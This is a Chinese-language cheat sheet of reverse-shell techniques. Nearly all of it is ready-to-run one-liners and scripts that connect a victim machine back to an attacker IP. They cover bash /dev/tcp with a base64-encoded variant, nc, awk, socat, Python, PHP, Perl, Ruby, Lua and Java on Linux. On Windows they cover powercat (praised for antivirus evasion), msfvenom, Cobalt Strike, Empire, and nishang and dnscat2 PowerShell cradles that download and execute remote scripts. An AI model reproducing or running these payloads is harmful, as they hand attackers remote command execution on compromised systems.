反弹shell的各种姿势
一、Linux反弹shell
姿势1 bash反弹
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
其他版本
exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0
姿势2 nc反弹
nc -e /bin/bash 192.168.99.242 1234
姿势3 awk反弹
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
姿势4 telnet反弹
备注:需要在攻击机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行结果
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
姿势5 socat反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
姿势6 Python反弹
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
姿势7 PHP反弹
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
姿势8 Perl反弹
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
姿势9 Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
姿势10 Lua反弹
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
姿势11 java反弹
public class Revs {
/*** @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
保存为Revs.java文件,编译执行
javac Revs.java
java Revs
二、Windows反弹shell
姿势1 nc反弹
netcat 下载:https://eternallybored.org/misc/netcat/
服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
PS C:\WWW> Import-Module ./powercat.ps1
姿势2 powershell反弹
pwoercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。
netcat 下载:https://eternallybored.org/misc/netcat/
服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
下载到目标机器本地执行
PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
姿势3 MSF反弹shell
使用msfvenom生成相关payload
msfvenom -l payloads | grep ‘cmd/windows/reverse’
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
姿势4 CobalStrike反弹shell
1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload
姿势5 Empire反弹shell
usestager windows/launcher_vbs
info
set Listener test
execute
姿势6 nishang反弹shell
Reverse TCP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
姿势7 Dnscat反弹shell
github地址:
https://github.com/iagox86/dnscat2
服务端:
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目标主机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
勿做伸手党,勤思考,总能成就一番事业。
